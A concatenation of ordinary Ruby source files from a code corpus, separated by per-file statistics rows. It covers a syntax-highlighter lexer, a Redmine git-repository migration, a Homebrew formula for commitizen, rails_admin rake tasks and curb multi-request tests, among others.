rule %r([A-Za-z_][A-Za-z0-9_]*(\.[A-Za-z_][A-Za-z0-9_]*)?) do |m|
name = m[0]
if name == "gsub"
token Name::Builtin
push :gsub
elsif self.builtins.include?(name)
token Name::Builtin
elsif name =~ /\./
a, b = name.split('.', 2)
token Name, a
token Punctuation, '.'
token Name, b
else
token Name
end
end
rule %r('), Str::Single, :escape_sqs
rule %r("), Str::Double, :escape_dqs
end
state :function_name do
rule %r/\s+/, Text
rule %r((?:([A-Za-z_][A-Za-z0-9_]*)(\.))?([A-Za-z_][A-Za-z0-9_]*)) do
groups Name::Class, Punctuation, Name::Function
pop!
end
# inline function
rule %r(\(), Punctuation, :pop!
end
state :gsub do
rule %r/\)/, Punctuation, :pop!
rule %r/[(,]/, Punctuation
rule %r/\s+/, Text
rule %r/"/, Str::Regex, :regex
end
state :regex do
rule %r(") do
token Str::Regex
goto :regex_end
end
rule %r/\[\^?/, Str::Escape, :regex_group
rule %r/\\./, Str::Escape
rule %r{[(][?][:=<!]}, Str::Escape
rule %r/[{][\d,]+[}]/, Str::Escape
rule %r/[()?]/, Str::Escape
rule %r/./, Str::Regex
end
state :regex_end do
rule %r/[$]+/, Str::Regex, :pop!
rule(//) { pop! }
end
state :regex_group do
rule %r(/), Str::Escape
rule %r/\]/, Str::Escape, :pop!
rule %r/(\\)(.)/ do |m|
groups Str::Escape, Str::Regex
end
rule %r/./, Str::Regex
end
state :escape_sqs do
mixin :string_escape
mixin :sqs
end
state :escape_dqs do
mixin :string_escape
mixin :dqs
end
state :string_escape do
rule %r(\\([abfnrtv\\"']|\d{1,3})), Str::Escape
end
state :sqs do
rule %r('), Str::Single, :pop!
rule %r([^']+), Str::Single
end
state :dqs do
rule %r("), Str::Double, :pop!
rule %r([^"]+), Str::Double
end
end
end
end
| 26.533333 | 95 | 0.486524 |
79790cd7fccc1c8b273f46b9416315f750070a09 | 515 | require 'abstract_unit'
class IamUserToGroupAdditionTest < Minitest::Test
def test_normal
template = <<-EOS
_iam_user_to_group_addition "test", group: "test1", users: [ "test2" ]
EOS
act_template = run_client_as_json(template)
exp_template = <<-EOS
{
"TestUserToGroupAddition": {
"Type": "AWS::IAM::UserToGroupAddition",
"Properties": {
"GroupName": "test1",
"Users": [
"test2"
]
}
}
}
EOS
assert_equal exp_template.chomp, act_template
end
end
| 20.6 | 70 | 0.642718 |
6a2da1489d82ad88f7202794d1c2883910d962e8 | 4,640 | module RedmineUndevGit
module Services
class Repo < Hashie::Dash
property :id
property :project, required: true
property :url
property :identifier
property :is_default
def to_s
[id, project.identifier, identifier, url].join(';')
end
end
class Mapping
attr_reader :old_repo, :new_repo, :warnings
def initialize(old_repo, new_url, warnings)
@old_repo, @warnings = old_repo, warnings
@new_repo = create_new_repo(new_url)
end
private
def create_new_repo(new_url)
Repo.new(
project: find_project,
url: new_url,
identifier: find_identifier(new_url)
)
end
def find_project
prj = old_repo.project
while prj.module_enabled?('issue_tracking').nil? && prj.parent
prj = prj.parent
end
prj
end
def find_identifier(new_url)
return old_repo.identifier if old_repo.identifier.present?
$1 if new_url =~ /\/([\w\d\-_]+)\.git$/
end
def <=>(b)
[new_repo.project.identifier, new_repo.identifier].join <=>
[b.new_repo.project.identifier, b.new_repo.identifier].join
end
end
class Migration
def initialize(url_mapping_file)
@url_mapping_file = url_mapping_file
end
def mappings
@mappings ||= create_mappings
end
def url_mappings
@url_mappings ||= read_url_mappings
end
def run_migration
mappings.each_with_index do |m, i|
puts "#{i}/#{mappings.count} Processing #{m.old_repo}"
if m.new_repo.url.blank?
puts "\tnew_url is not found, skipping"
next
end
if same_repo = Repository.find_by_url(m.new_repo.url)
puts "\tnew_url already used in project #{same_repo.project.identifier}"
next
end
old_repo = Repository::Git.find_by_id(m.old_repo.id)
unless old_repo
puts "\trepository not found. Already deleted?"
next
end
begin
puts "\tfetching changesets for old repository..."
old_repo.fetch_changesets
rescue Exception => e
puts "\tcan't fetch changesets: #{e.class}: #{e.message}"
end
begin
new_repo = nil
ActiveRecord::Base.transaction do
puts "\tBegin transaction..."
m.new_repo.project.enable_module!('hooks')
new_repo = Repository::UndevGit.new(
project: m.new_repo.project,
identifier: m.new_repo.identifier,
url: m.new_repo.url,
use_init_hooks: 0,
use_init_refs: 1
)
new_repo.merge_extra_info(
'extra_report_last_commit' => old_repo.report_last_commit
)
old_repo.destroy
new_repo.save!
puts "\tNew repository created #{m.new_repo}"
puts "\tClonning..."
puts "\tOk." if new_repo.scm.cloned?
end
puts "\tTransaction committed. Fetching changesets..."
new_repo.fetch_changesets
puts "\tDone. #{new_repo.changesets.count} changesets fetched."
rescue Redmine::Scm::Adapters::CommandFailed => e
puts "\tCommandFailed: #{e.message}"
rescue Exception => e
puts "\tError: unhandled exception #{e.class}: #{e.message}"
end
end
end
private
def create_mappings
new_urls = []
Repository::Git.order(:id).map do |r|
old_repo = Repo.new(
id: r.id,
project: r.project,
url: r.url,
identifier: r.identifier,
is_default: r.is_default
)
new_url = url_mappings[old_repo.url]
warnings = []
warnings << 'new_url duplicated' if new_urls.include?(new_url)
warnings << 'new_url is blank' if new_url.blank?
new_urls << new_url unless new_url.blank?
Mapping.new(old_repo, new_url, warnings)
end
end
def read_url_mappings
maps = {}
File.open(@url_mapping_file, 'r') do |mapfile|
mapfile.each do |line|
old_url, new_url = *(line.split(';').map(&:strip))
maps[old_url] = new_url if old_url.present? && new_url.present?
end
end
maps
end
end
end
end
| 27.784431 | 84 | 0.546552 |
380fe558bd0867d57672cc8a2b64d5c82fde5fc1 | 38 | module Guard
VERSION = "2.14.2"
end
| 9.5 | 20 | 0.657895 |
1df886de1124d112260586e5ab95eeba4f13aa2e | 1,738 | # frozen_string_literal: true
# Licensed to the Software Freedom Conservancy (SFC) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The SFC licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
require_relative '../spec_helper'
module Selenium
module WebDriver
module Firefox
describe Driver, exclusive: {browser: :firefox} do
describe '#print_options' do
let(:magic_number) { 'JVBER' }
before { driver.navigate.to url_for('printPage.html') }
it 'should return base64 for print command' do
expect(driver.print_page).to include(magic_number)
end
it 'should print with orientation' do
expect(driver.print_page(orientation: 'landscape')).to include(magic_number)
end
it 'should print with valid params' do
expect(driver.print_page(orientation: 'landscape',
page_ranges: ['1-2'],
page: {width: 30})).to include(magic_number)
end
end
end
end # Firefox
end # WebDriver
end # Selenium
| 35.469388 | 88 | 0.670311 |
1a95a96113f011bbd21382f6aeacbe141f936cff | 735 | module Contentful
module Management
# Abort if required environmental variables are not set
if ENV["CONTENTFUL_MANAGEMENT_KEY"].nil? || ENV["CONTENTFUL_SPACE_ID"].nil? || ENV["CONTENTFUL_ENVIRONMENT"].nil?
abort("Environmental variables CONTENTFUL_MANAGEMENT_KEY, CONTENTFUL_SPACE_ID or CONTENTFUL_ENVIRONMENT not set.")
end
# Attempt to initialize Contentful Management API client
begin
$management = Contentful::Management::Client.new(
ENV["CONTENTFUL_MANAGEMENT_KEY"]
).environments(
ENV["CONTENTFUL_SPACE_ID"]
).find(
ENV["CONTENTFUL_ENVIRONMENT"]
)
rescue
abort("Unable to initialize Contentful Management API client.")
end
end
end | 27.222222 | 120 | 0.704762 |
f8a940d9ebc07bc8ab27f567cc7d20b9ed4d8b63 | 1,149 | # -*- encoding: utf-8 -*-
# stub: jasmine-junitreporter 0.0.1 ruby lib
Gem::Specification.new do |s|
s.name = "jasmine-junitreporter"
s.version = "0.0.1"
s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
s.require_paths = ["lib"]
s.authors = ["Jake Goulding"]
s.date = "2014-05-13"
s.email = ["[email protected]"]
s.homepage = "http://github.com/shepmaster/jasmine-junitreporter-gem"
s.licenses = ["MIT"]
s.rubygems_version = "2.4.8"
s.summary = "Provides a JUnit reporter suitable for use with jasmine-rails"
s.installed_by_version = "2.4.8" if s.respond_to? :installed_by_version
if s.respond_to? :specification_version then
s.specification_version = 4
if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then
s.add_development_dependency(%q<bundler>, ["~> 1.5"])
s.add_development_dependency(%q<rake>, [">= 0"])
else
s.add_dependency(%q<bundler>, ["~> 1.5"])
s.add_dependency(%q<rake>, [">= 0"])
end
else
s.add_dependency(%q<bundler>, ["~> 1.5"])
s.add_dependency(%q<rake>, [">= 0"])
end
end
| 32.828571 | 105 | 0.653612 |
21edd0d05172d2a658553eda45f112e38761fa98 | 1,218 | # frozen_string_literal: true
#
# Cookbook Name:: aws-parallelcluster
# Attributes:: default
#
# Copyright 2013-2020 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the
# License. A copy of the License is located at
#
# http://aws.amazon.com/apache2.0/
#
# or in the "LICENSE.txt" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES
# OR CONDITIONS OF ANY KIND, express or implied. See the License for the specific language governing permissions and
# limitations under the License.
default['conditions']['lustre_supported'] = platform_supports_lustre_for_architecture?
default['conditions']['efa_supported'] = platform_supports_efa?
default['conditions']['intel_mpi_supported'] = !arm_instance? && platform_supports_impi?
default['conditions']['intel_hpc_platform_supported'] = !arm_instance? && platform_supports_intel_hpc_platform?
default['conditions']['dcv_supported'] = !arm_instance? && platform_supports_dcv?
default['conditions']['ami_bootstrapped'] = ami_bootstrapped?
default['conditions']['pmix_supported'] = platform_supports_pmix?
| 48.72 | 121 | 0.780788 |
bf5b97fea0fe9da4a3404fd81a082e7091f05f11 | 5,349 | class Commitizen < Formula
include Language::Python::Virtualenv
desc "Defines a standard way of committing rules and communicating it"
homepage "https://commitizen-tools.github.io/commitizen/"
url "https://files.pythonhosted.org/packages/b5/10/76f20499fd4966014ae742156efb94a9a37867fd1348f670463d33cf3cfe/commitizen-2.20.5.tar.gz"
sha256 "abc14650e79b5366d200c5fcf484e4389337c05aaef0285d09329cc367eab836"
license "MIT"
head "https://github.com/commitizen-tools/commitizen.git", branch: "master"
bottle do
sha256 cellar: :any_skip_relocation, arm64_monterey: "9552466e91b4540f8a11fae0845687e286c19717e28fb9bc64bec4b944772a5f"
sha256 cellar: :any_skip_relocation, arm64_big_sur: "a45bdd33d99073625a70b73c58d3ecac57d781a6dc9f60b883456a78d163552c"
sha256 cellar: :any_skip_relocation, monterey: "6edc6b58e5956b6904d43555781879113aa893a6d761a8427d3e2204ef663427"
sha256 cellar: :any_skip_relocation, big_sur: "9b9ebed845eb5ec006443162a40f2420c66cc5042a48812caf330cac94079eec"
sha256 cellar: :any_skip_relocation, catalina: "c851f1a1a2a88f44dd26167acbe3d1d90546ad56330307fb28e1229437f00e95"
sha256 cellar: :any_skip_relocation, x86_64_linux: "4f58750be75ec81de94ad492d8387abf767c986c443a9f615476669bd468b458"
end
depends_on "[email protected]"
resource "argcomplete" do
url "https://files.pythonhosted.org/packages/6a/b4/3b1d48b61be122c95f4a770b2f42fc2552857616feba4d51f34611bd1352/argcomplete-1.12.3.tar.gz"
sha256 "2c7dbffd8c045ea534921e63b0be6fe65e88599990d8dc408ac8c542b72a5445"
end
resource "colorama" do
url "https://files.pythonhosted.org/packages/1f/bb/5d3246097ab77fa083a61bd8d3d527b7ae063c7d8e8671b1cf8c4ec10cbe/colorama-0.4.4.tar.gz"
sha256 "5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b"
end
resource "decli" do
url "https://files.pythonhosted.org/packages/9f/30/064f53ca7b75c33a892dcc4230f78a1e01bee4b5b9b49c0be1a61601c9bd/decli-0.5.2.tar.gz"
sha256 "f2cde55034a75c819c630c7655a844c612f2598c42c21299160465df6ad463ad"
end
resource "Jinja2" do
url "https://files.pythonhosted.org/packages/91/a5/429efc6246119e1e3fbf562c00187d04e83e54619249eb732bb423efa6c6/Jinja2-3.0.3.tar.gz"
sha256 "611bb273cd68f3b993fabdc4064fc858c5b47a973cb5aa7999ec1ba405c87cd7"
end
resource "MarkupSafe" do
url "https://files.pythonhosted.org/packages/bf/10/ff66fea6d1788c458663a84d88787bae15d45daa16f6b3ef33322a51fc7e/MarkupSafe-2.0.1.tar.gz"
sha256 "594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a"
end
resource "packaging" do
url "https://files.pythonhosted.org/packages/df/9e/d1a7217f69310c1db8fdf8ab396229f55a699ce34a203691794c5d1cad0c/packaging-21.3.tar.gz"
sha256 "dd47c42927d89ab911e606518907cc2d3a1f38bbd026385970643f9c5b8ecfeb"
end
resource "prompt-toolkit" do
url "https://files.pythonhosted.org/packages/1b/1e/09b545d3608a8092c34132972ec1078d3356381a2c8553fd71d2ed6036a3/prompt_toolkit-3.0.26.tar.gz"
sha256 "a51d41a6a45fd9def54365bca8f0402c8f182f2b6f7e29c74d55faeb9fb38ac4"
end
resource "pyparsing" do
url "https://files.pythonhosted.org/packages/d6/60/9bed18f43275b34198eb9720d4c1238c68b3755620d20df0afd89424d32b/pyparsing-3.0.7.tar.gz"
sha256 "18ee9022775d270c55187733956460083db60b37d0d0fb357445f3094eed3eea"
end
resource "PyYAML" do
url "https://files.pythonhosted.org/packages/36/2b/61d51a2c4f25ef062ae3f74576b01638bebad5e045f747ff12643df63844/PyYAML-6.0.tar.gz"
sha256 "68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"
end
resource "questionary" do
url "https://files.pythonhosted.org/packages/04/c6/a8dbf1edcbc236d93348f6e7c437cf09c7356dd27119fcc3be9d70c93bb1/questionary-1.10.0.tar.gz"
sha256 "600d3aefecce26d48d97eee936fdb66e4bc27f934c3ab6dd1e292c4f43946d90"
end
resource "termcolor" do
url "https://files.pythonhosted.org/packages/8a/48/a76be51647d0eb9f10e2a4511bf3ffb8cc1e6b14e9e4fab46173aa79f981/termcolor-1.1.0.tar.gz"
sha256 "1d6d69ce66211143803fbc56652b41d73b4a400a2891d7bf7a1cdf4c02de613b"
end
resource "tomlkit" do
url "https://files.pythonhosted.org/packages/ba/ce/b140a544f834a1789c0c05be42327e71980b1a36318fc8bed932daee219e/tomlkit-0.9.0.tar.gz"
sha256 "5a83672c565f78f5fc8f1e44e5f2726446cc6b765113efd21d03e9331747d9ab"
end
resource "typing-extensions" do
url "https://files.pythonhosted.org/packages/0d/4a/60ba3706797b878016f16edc5fbaf1e222109e38d0fa4d7d9312cb53f8dd/typing_extensions-4.0.1.tar.gz"
sha256 "4ca091dea149f945ec56afb48dae714f21e8692ef22a395223bcd328961b6a0e"
end
resource "wcwidth" do
url "https://files.pythonhosted.org/packages/89/38/459b727c381504f361832b9e5ace19966de1a235d73cdbdea91c771a1155/wcwidth-0.2.5.tar.gz"
sha256 "c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"
end
def install
virtualenv_install_with_resources
end
test do
# Generates a changelog after an example commit
system "git", "init"
touch "example"
system "git", "add", "example"
system "yes | #{bin}/cz commit"
system "#{bin}/cz", "changelog"
# Verifies the checksum of the changelog
expected_sha = "97da642d3cb254dbfea23a9405fb2b214f7788c8ef0c987bc0cde83cca46f075"
output = File.read(testpath/"CHANGELOG.md")
assert_match Digest::SHA256.hexdigest(output), expected_sha
end
end
| 48.627273 | 147 | 0.819219 |
abf0561587588d5a9a55f7803dd7d62e21606557 | 548 | require_relative 'services_helper'
module Kontena::Cli::Services
class DeployCommand < Clamp::Command
include Kontena::Cli::Common
include Kontena::Cli::GridOptions
include ServicesHelper
parameter "NAME", "Service name"
option '--force-deploy', :flag, 'Force deploy even if service does not have any changes'
def execute
require_api_url
token = require_token
service_id = name
data = {}
data[:force] = true if force_deploy?
deploy_service(token, service_id, data)
end
end
end
| 24.909091 | 92 | 0.687956 |
26eb174e341db6e13fad4e9223d16df8cb3bda48 | 2,078 | require 'rails_admin/railties/extratasks'
namespace :admin do
desc "Populate history table with a year of data"
task :populate_history do
RailsAdmin::ExtraTasks.populateDatabase
end
desc "Populate history table with a year of data"
task :populate_database do
system("rails generate dummy:data --base-amount 60 --growth-ratio 1.5")
Rake::Task["dummy:data:import"].reenable
Rake::Task["dummy:data:import"].invoke
end
desc "Copy assets files - javascripts, stylesheets and images"
task :copy_assets do
require 'rails/generators/base'
origin = File.join(RailsAdmin::Engine.root, "public")
destination = File.join(Rails.root, "public")
Rails::Generators::Base.source_root(origin)
copier = Rails::Generators::Base.new
%w( stylesheets images javascripts ).each do |directory|
Dir[File.join(origin,directory,'rails_admin','**/*')].each do |file|
relative = file.gsub(/^#{origin}\//, '')
dest_file = File.join(destination, relative)
dest_dir = File.dirname(dest_file)
if !File.exist?(dest_dir)
FileUtils.mkdir_p(dest_dir)
end
copier.copy_file(file, dest_file) unless File.directory?(file)
end
end
end
desc "Prepare Continuous Integration environment"
task :prepare_ci_env do
adapter = ENV["CI_DB_ADAPTER"] || "sqlite3"
database = ENV["CI_DB_DATABASE"] || ("sqlite3" == adapter ? "db/development.sqlite3" : "ci_rails_admin")
configuration = {
"test" => {
"adapter" => adapter,
"database" => database,
"username" => ENV["CI_DB_USERNAME"] || "rails_admin",
"password" => ENV["CI_DB_PASSWORD"] || "rails_admin",
"host" => ENV["CI_DB_HOST"] || "localhost",
"encoding" => ENV["CI_DB_ENCODING"] || "utf8",
"pool" => (ENV["CI_DB_POOL"] || 5).to_int,
"timeout" => (ENV["CI_DB_TIMEOUT"] || 5000).to_int
}
}
filename = Rails.root.join("config/database.yml")
File.open(filename, "w") do |f|
f.write(configuration.to_yaml)
end
end
end
| 32.46875 | 108 | 0.641963 |
18f8f16e5ae4edbc377a83e6cff8886048a95d90 | 1,318 | #
# Copyright:: Copyright (c) 2012-2014 Chef Software, Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
name "icu"
default_version "4.8.1.1"
source :url => "http://download.icu-project.org/files/icu4c/4.8.1.1/icu4c-4_8_1_1-src.tgz",
:md5 => "ea93970a0275be6b42f56953cd332c17"
relative_path "icu"
working_dir = "#{project_dir}/source"
build do
command("./configure --prefix=#{install_dir}/embedded",
:env => {
"CFLAGS" => "-L#{install_dir}/embedded/lib -I#{install_dir}/embedded/include",
},
:cwd => working_dir)
command("make -j #{workers}",
:env => {
"LD_RUN_PATH" => "#{install_dir}/embedded/lib",
},
:cwd => working_dir)
command "make install", :cwd => working_dir
end
| 32.146341 | 91 | 0.669954 |
7afb61182aee8de6e64fd5b70b2a8c794b4e0ea6 | 12,911 | require File.expand_path(File.join(File.dirname(__FILE__), 'helper'))
class TestCurbCurlMulti < Test::Unit::TestCase
def teardown
# get a better read on memory loss when running in valgrind
ObjectSpace.garbage_collect
end
def test_new_multi_01
d1 = ""
c1 = Curl::Easy.new($TEST_URL) do |curl|
curl.headers["User-Agent"] = "myapp-0.0"
curl.on_body {|d| d1 << d; d.length }
end
d2 = ""
c2 = Curl::Easy.new($TEST_URL) do |curl|
curl.headers["User-Agent"] = "myapp-0.0"
curl.on_body {|d| d2 << d; d.length }
end
m = Curl::Multi.new
m.add( c1 )
m.add( c2 )
m.perform
assert_match(/^# DO NOT REMOVE THIS COMMENT/, d1)
assert_match(/^# DO NOT REMOVE THIS COMMENT/, d2)
m = nil
end
def test_perform_block
c1 = Curl::Easy.new($TEST_URL)
c2 = Curl::Easy.new($TEST_URL)
m = Curl::Multi.new
m.add( c1 )
m.add( c2 )
m.perform do
# idle
#puts "idling..."
end
assert_match(/^# DO NOT REMOVE THIS COMMENT/, c1.body_str)
assert_match(/^# DO NOT REMOVE THIS COMMENT/, c2.body_str)
m = nil
end
# NOTE: if this test runs slowly on Mac OSX, it is probably due to the use of a port install curl+ssl+ares install
# on my MacBook, this causes curl_easy_init to take nearly 0.01 seconds / * 100 below is 1 second too many!
def test_n_requests
n = 100
m = Curl::Multi.new
responses = []
n.times do|i|
responses[i] = ""
c = Curl::Easy.new($TEST_URL) do|curl|
curl.on_body{|data| responses[i] << data; data.size }
end
m.add c
end
m.perform
assert_equal n, responses.size
n.times do|i|
assert_match(/^# DO NOT REMOVE THIS COMMENT/, responses[i], "response #{i}")
end
m = nil
end
def test_n_requests_with_break
# process n requests then load the handle again and run it again
n = 2
m = Curl::Multi.new
5.times do|it|
responses = []
n.times do|i|
responses[i] = ""
c = Curl::Easy.new($TEST_URL) do|curl|
curl.on_body{|data| responses[i] << data; data.size }
end
m.add c
end
m.perform
assert_equal n, responses.size
n.times do|i|
assert_match(/^# DO NOT REMOVE THIS COMMENT/, responses[i], "response #{i}")
end
end
m = nil
end
def test_idle_check
m = Curl::Multi.new
e = Curl::Easy.new($TEST_URL)
assert(m.idle?, 'A new Curl::Multi handle should be idle')
m.add(e)
assert((not m.idle?), 'A Curl::Multi handle with a request should not be idle')
m.perform
assert(m.idle?, 'A Curl::Multi handle should be idle after performing its requests')
end
def test_requests
m = Curl::Multi.new
assert_equal([], m.requests, 'A new Curl::Multi handle should have no requests')
10.times do
m.add(Curl::Easy.new($TEST_URL))
end
assert_equal(10, m.requests.length, 'multi.requests should contain all the active requests')
m.perform
assert_equal([], m.requests, 'A new Curl::Multi handle should have no requests after a perform')
end
def test_cancel
m = Curl::Multi.new
m.cancel! # shouldn't raise anything
10.times do
m.add(Curl::Easy.new($TEST_URL))
end
m.cancel!
assert_equal([], m.requests, 'A new Curl::Multi handle should have no requests after being canceled')
end
def test_with_success
c1 = Curl::Easy.new($TEST_URL)
c2 = Curl::Easy.new($TEST_URL)
success_called1 = false
success_called2 = false
c1.on_success do|c|
success_called1 = true
assert_match(/^# DO NOT REMOVE THIS COMMENT/, c.body_str)
end
c2.on_success do|c|
success_called2 = true
assert_match(/^# DO NOT REMOVE THIS COMMENT/, c.body_str)
end
m = Curl::Multi.new
m.add( c1 )
m.add( c2 )
m.perform do
# idle
#puts "idling..."
end
assert success_called2
assert success_called1
m = nil
end
def test_with_success_cb_with_404
c1 = Curl::Easy.new("#{$TEST_URL.gsub(/file:\/\//,'')}/not_here")
c2 = Curl::Easy.new($TEST_URL)
success_called1 = false
success_called2 = false
c1.on_success do|c|
success_called1 = true
#puts "success 1 called: #{c.body_str.inspect}"
#assert_match(/^# DO NOT REMOVE THIS COMMENT/, c.body_str)
end
c1.on_failure do|c,rc|
# rc => [Curl::Err::MalformedURLError, "URL using bad/illegal format or missing URL"]
assert_equal Curl::Easy, c.class
assert_equal Curl::Err::MalformedURLError, rc.first
assert_equal "URL using bad/illegal format or missing URL", rc.last
end
c2.on_success do|c|
# puts "success 2 called: #{c.body_str.inspect}"
success_called2 = true
assert_match(/^# DO NOT REMOVE THIS COMMENT/, c.body_str)
end
m = Curl::Multi.new
#puts "c1: #{c1.url}"
m.add( c1 )
#puts "c2: #{c2.url}"
m.add( c2 )
#puts "calling"
m.perform do
# idle
end
assert success_called2
assert !success_called1
m = nil
end
# This tests whether, ruby's GC will trash an out of scope easy handle
class TestForScope
attr_reader :buf
def t_method
@buf = ""
@m = Curl::Multi.new
10.times do|i|
c = Curl::Easy.new($TEST_URL)
c.on_success{|b| @buf << b.body_str }
ObjectSpace.garbage_collect
@m.add(c)
ObjectSpace.garbage_collect
end
ObjectSpace.garbage_collect
end
def t_call
@m.perform do
ObjectSpace.garbage_collect
end
end
def self.test
ObjectSpace.garbage_collect
tfs = TestForScope.new
ObjectSpace.garbage_collect
tfs.t_method
ObjectSpace.garbage_collect
tfs.t_call
ObjectSpace.garbage_collect
tfs.buf
end
end
def test_with_garbage_collect
ObjectSpace.garbage_collect
buf = TestForScope.test
ObjectSpace.garbage_collect
assert_match(/^# DO NOT REMOVE THIS COMMENT/, buf)
end
=begin
def test_remote_requests
responses = {}
requests = ["http://google.co.uk/", "http://ruby-lang.org/"]
m = Curl::Multi.new
# add a few easy handles
requests.each do |url|
responses[url] = ""
responses["#{url}-header"] = ""
c = Curl::Easy.new(url) do|curl|
curl.follow_location = true
curl.on_header{|data| responses["#{url}-header"] << data; data.size }
curl.on_body{|data| responses[url] << data; data.size }
curl.on_success {
puts curl.last_effective_url
}
end
m.add(c)
end
m.perform
requests.each do|url|
puts responses["#{url}-header"].split("\r\n").inspect
#puts responses[url].size
end
end
=end
def test_multi_easy_get_01
urls = []
root_uri = 'http://127.0.0.1:9129/ext/'
# send a request to fetch all c files in the ext dir
Dir[File.dirname(__FILE__) + "/../ext/*.c"].each do|path|
urls << root_uri + File.basename(path)
end
urls = urls[0..(urls.size/2)] # keep it fast, webrick...
Curl::Multi.get(urls, {:follow_location => true}, {:pipeline => true}) do|curl|
assert_equal 200, curl.response_code
end
end
def test_multi_easy_download_01
# test collecting response buffers to file e.g. on_body
root_uri = 'http://127.0.0.1:9129/ext/'
urls = []
downloads = []
file_info = {}
FileUtils.mkdir("tmp/")
# for each file store the size by file name
Dir[File.dirname(__FILE__) + "/../ext/*.c"].each do|path|
urls << (root_uri + File.basename(path))
downloads << "tmp/" + File.basename(path)
file_info[File.basename(path)] = {:size => File.size(path), :path => path}
end
# start downloads
Curl::Multi.download(urls,{},{},downloads) do|curl,download_path|
assert_equal 200, curl.response_code
assert File.exist?(download_path)
store = file_info[File.basename(download_path)]
assert_equal file_info[File.basename(download_path)][:size], File.size(download_path), "incomplete download: #{download_path}"
end
ensure
FileUtils.rm_rf("tmp/")
end
def test_multi_easy_post_01
urls = [
{ :url => TestServlet.url + '?q=1', :post_fields => {'field1' => 'value1', 'k' => 'j'}},
{ :url => TestServlet.url + '?q=2', :post_fields => {'field2' => 'value2', 'foo' => 'bar', 'i' => 'j' }},
{ :url => TestServlet.url + '?q=3', :post_fields => {'field3' => 'value3', 'field4' => 'value4'}}
]
Curl::Multi.post(urls, {:follow_location => true, :multipart_form_post => true}, {:pipeline => true}) do|easy|
str = easy.body_str
assert_match /POST/, str
fields = {}
str.gsub(/POST\n/,'').split('&').map{|sv| k, v = sv.split('='); fields[k] = v }
expected = urls.find{|s| s[:url] == easy.last_effective_url }
assert_equal expected[:post_fields], fields
#puts "#{easy.last_effective_url} #{fields.inspect}"
end
end
def test_multi_easy_put_01
urls = [{ :url => TestServlet.url, :method => :put, :put_data => "message",
:headers => {'Content-Type' => 'application/json' } },
{ :url => TestServlet.url, :method => :put, :put_data => "message",
:headers => {'Content-Type' => 'application/json' } }]
Curl::Multi.put(urls, {}, {:pipeline => true}) do|easy|
assert_match /PUT/, easy.body_str
assert_match /message/, easy.body_str
end
end
def test_multi_easy_http_01
urls = [
{ :url => TestServlet.url + '?q=1', :method => :post, :post_fields => {'field1' => 'value1', 'k' => 'j'}},
{ :url => TestServlet.url + '?q=2', :method => :post, :post_fields => {'field2' => 'value2', 'foo' => 'bar', 'i' => 'j' }},
{ :url => TestServlet.url + '?q=3', :method => :post, :post_fields => {'field3' => 'value3', 'field4' => 'value4'}},
{ :url => TestServlet.url, :method => :put, :put_data => "message",
:headers => {'Content-Type' => 'application/json' } },
{ :url => TestServlet.url, :method => :get }
]
Curl::Multi.http(urls, {:pipeline => true}) do|easy, code, method|
assert_equal nil, code
case method
when :post
assert_match /POST/, easy.body_str
when :get
assert_match /GET/, easy.body_str
when :put
assert_match /PUT/, easy.body_str
end
#puts "#{easy.body_str.inspect}, #{method.inspect}, #{code.inspect}"
end
end
def test_multi_easy_http_with_max_connects
urls = [
{ :url => TestServlet.url + '?q=1', :method => :get },
{ :url => TestServlet.url + '?q=2', :method => :get },
{ :url => TestServlet.url + '?q=3', :method => :get }
]
Curl::Multi.http(urls, {:pipeline => true, :max_connects => 1}) do|easy, code, method|
assert_equal nil, code
case method
when :post
assert_match /POST/, easy.body_str
when :get
assert_match /GET/, easy.body_str
when :put
assert_match /PUT/, easy.body_str
end
end
end
def test_multi_recieves_500
m = Curl::Multi.new
e = Curl::Easy.new("http://127.0.0.1:9129/methods")
failure = false
e.post_body = "hello=world&s=500"
e.on_failure{|c,r| failure = true }
e.on_success{|c| failure = false }
m.add(e)
m.perform
assert failure
e2 = Curl::Easy.new(TestServlet.url)
e2.post_body = "hello=world"
e2.on_failure{|c,r| failure = true }
m.add(e2)
m.perform
failure = false
assert !failure
assert_equal "POST\nhello=world", e2.body_str
end
def test_remove_exception_is_descriptive
m = Curl::Multi.new
c = Curl::Easy.new("http://127.9.9.9:999110")
m.remove(c)
rescue => e
assert_equal 'CURLError: Invalid easy handle', e.message
assert_equal 0, m.requests.size
end
def test_retry_easy_handle
m = Curl::Multi.new
tries = 10
c1 = Curl::Easy.new('http://127.1.1.1:99911') do |curl|
curl.on_failure {|c,e|
assert_equal [Curl::Err::MalformedURLError, "URL using bad/illegal format or missing URL"], e
if tries > 0
tries -= 1
m.add(c)
end
}
end
tries -= 1
m.add(c1)
m.perform
assert_equal 0, tries
assert_equal 0, m.requests.size
end
def test_reusing_handle
m = Curl::Multi.new
c = Curl::Easy.new('http://127.0.0.1') do|easy|
easy.on_complete{|e,r| puts e.inspect }
end
m.add(c)
m.add(c)
rescue => e
assert_equal Curl::Err::MultiBadEasyHandle, e.class
end
def test_multi_default_timeout
assert_equal 100, Curl::Multi.default_timeout
